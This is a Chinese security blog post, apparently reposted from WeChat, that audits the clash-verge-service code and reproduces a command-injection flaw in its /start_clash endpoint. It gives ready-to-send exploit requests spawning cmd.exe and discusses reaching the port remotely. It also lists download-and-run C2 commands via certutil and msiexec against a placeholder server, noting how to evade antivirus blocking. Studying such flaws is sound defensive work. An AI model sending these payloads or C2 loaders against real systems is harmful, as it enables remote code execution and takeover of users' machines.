Clash verge
Clash verge是一款非常经典的 "科学上网" 工具,目前大部分人群的科学上网都依赖该类工具.由于本机也装了该工具,所以对此格外上心。
isu 漏洞中提到为本地提权,并没有相关 POC,尝试定位问题代码,实现 EXP。
下载漏洞代码:clash-verge-service-dev
审计过程:
Web 服务在**src/service/mod.rs **中定义了/start_clash 接口
这个接口接收 HTTP POST 请求,并将请求体解析为 StartBody 结构体,结构体定义在src/service/data.rs
#[derive(Default, Debug, Deserialize, Serialize, Clone)]pubstructStartBody {pub core_type: Option<String>,pub bin_path: String,pub config_dir: String,pub config_file: String,pub log_file: String,}
请求体被传递给 CoreManager.start_clash() 方法 src/service/core.rs :
并在start_clash方式数据被存储在 CoreManager.clash_status.runtime_config 中
通过调用**start_mihomo()**函数,该函数将最终触发命令执行
具体漏洞代码如下:
///////////////////////////////////////////////////////////////////// ///漏洞关键处/// let bin_path = config.bin_path.as_str(); // 数据包中的bin_path在此处被提取 let config_dir = config.config_dir.as_str(); let config_file = config.config_file.as_str(); let log_file = config.log_file.as_str(); let args = vec!["-d", config_dir, "-f", config_file]; // 直接拼接 //////////////////////////////////////////////////////////////////// // 创建日志文件 let log = std::fs::File::create(log_file) .with_context(|| format!("Failed to open log file: {}", log_file))?; let pid = process::spawn_process(bin_path, &args, log)?; println!("Mihomo started with PID: {}", pid); self.mihomo_status.inner.lock().unwrap().running_pid.store(pid as i32, Ordering::Relaxed); self.mihomo_status.inner.lock().unwrap().is_running.store(true, Ordering::Relaxed); println!("Mihomo started successfully with PID: {}", pid); } Ok(()) }
clash-verge-service-devsrcserviceprocess.rs --> spawn_process 函数命令执行:
pub fn spawn_process(command: &str, args: &[&str], mut log: std::fs::File) -> io::Result<u32> { // Log the command being executed let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" ")); log.flush()?; #[cfg(target_os = "macos")] { // On macOS, use posix_spawn via Command //未经验证的command 即参数bin_path 作为执行程序 let child = Command::new(command) // 未经验证的args作为命令参数 .args(args) .stdout(Stdio::from(log)) .stderr(Stdio::null()) .spawn()?; // Get the process ID let pid = child.id(); // Detach the child process std::thread::spawn(move || { let _ = child.wait_with_output(); }); Ok(pid) } #[cfg(not(target_os = "macos"))] { // [漏洞点1] 同样直接使用未经验证的command作为执行程序 let child = Command::new(command) // [漏洞点2] 同样直接使用未经验证的args作为命令参数 .args(args) .stdout(log) .stderr(Stdio::null()) .spawn()?; Ok(child.id()) }}
漏洞流程分析
参数传递过程:
-
从/start_clash HTTP 接口接收用户输入的 StartBody 结构体 -
然后数据被存储在 CoreManager.clash_status.runtime_config 中 -
下面从 runtime_config 中获取这些用户可控的输入值 -
构建命令行参数,但没有验证参数内容的安全性 :let args = vec!["-d", config_dir, "-f", config_file]; -
调用 process::spawn_process 函数,将用户提供的命令和参数直接传递给系统执行 let pid = process::spawn_process(bin_path, &args, log)?;
可以看到原程序的预期运行命令如下:
"E:Clashverge-mihomo.exe" -d C:UsersAnonymousAppDataRoamingio.github.clash-verge-rev.clash-verge-rev -f C:UsersAnonymousAppDataRoamingio.github.clash-verge-rev.clash-verge-revclash-verge.yaml
E:Clashverge-mihomo.exe 即默认 bin_path 的值
C:UsersAnonymousAppDataRoamingio.github.clash-verge-rev.clash-verge-rev 即默认 config_dir 的值
C:UsersAnonymousAppDataRoamingio.github.clash-verge-rev.clash-verge-revclash-verge.yaml 即默认 config_file 的值
由此全部可控,导致命令执行。
POC/EXP构造如下:
POST /start_clash HTTP/1.1Host: 127.0.0.1:33211Content-Type: application/json{"core_type":"verge-mihome","bin_path":"cmd.exe","config_dir":"","config_file":"/c calc ","log_file":"C:\Windows\Temp\5.log"}
可以看到 clash-verge-service.exe 拉起一个 cmd.exe 子进程
还有一些其他问题,比如传入参数转义等等,就不赘述了。
远程命令执行:
由于该服务进程默认仅监听127.0.0.1:33211,所以大部分情况只考虑其本地提权特性,
但是在部分情况下,用户可能会勾选局域网访问,由此增加了远程命令执行的可能
通过代理隧道,访问该机器的 33211 端口,实现远程命令执行
但是在本地环境测试时,经常性会出现,在打过一次 poc 之后,会导致 clash verge 直接挂掉,除非重启程序,否则无法进行第二次发包。
所以很多公众号提到的,通过任意文件写入,第二步直接执行,在远程测试时,都失败了。
如果命令只有一次执行机会,那就直接尝试上线 c2
常见上线命令:
certutil.exe -urlcache -split -f http:/x.x.x.x:9000/x.exe C:UsersPublicDownloadsx.exe && C:UsersPublicDownloadsx.exe
但该命令会直接被杀软/火绒拦截,可以使用其他上线姿势:
msiexec /q /i http:/x.x.x.x:9000/2.msi && echo 1
最后POC:
POST /start_clash HTTP/1.1Host: 127.0.0.1:33211Content-Type: application/json{"core_type":"verge-mihome","bin_path":"cmd.exe","config_dir":"","config_file":"/c msiexec /q /i http:/x.x.x.x:9000/2.msi && echo 1","log_file":"C:\Windows\Temp\5.log"}
补充一句:由于同源策略问题,该漏洞目前无法设计成蜜罐。
原文始发于微信公众号(安全的黑魔法):Clash verge 漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论